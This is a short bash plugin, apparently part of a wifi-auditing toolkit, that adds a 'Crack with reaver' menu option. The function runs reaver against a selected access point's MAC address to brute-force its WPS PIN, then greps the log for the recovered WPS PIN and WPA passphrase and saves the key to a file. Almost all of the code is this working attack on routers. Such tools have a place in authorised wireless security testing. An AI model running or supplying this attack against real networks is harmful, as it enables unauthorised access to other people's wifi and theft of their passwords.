#! /bin/bash
# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
#DEPENDS: reaver
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        Along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

p_menu+=("Crack with reaver")
extend_menu[Select WPA Attack]="Crack with reaver"

Crack_with_reaver(){
    [[ $Host_MAC ]] && {
        execute "Reaver" reaver -i $wifi -b $Host_MAC &> $DUMP_PATH/reaver_$Host_MAC.log
        cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPS PIN|WPA PSK| AP SSID" && echo "Press enter to continue" || echo "${mark} Reaver could not get the key, press enter to continue"
        cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" && {
            cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" >> $DUMP_PATH/$Host_MAC.key
        }
    } || {
        echo "${mark} You have to select a network first"
    }
}
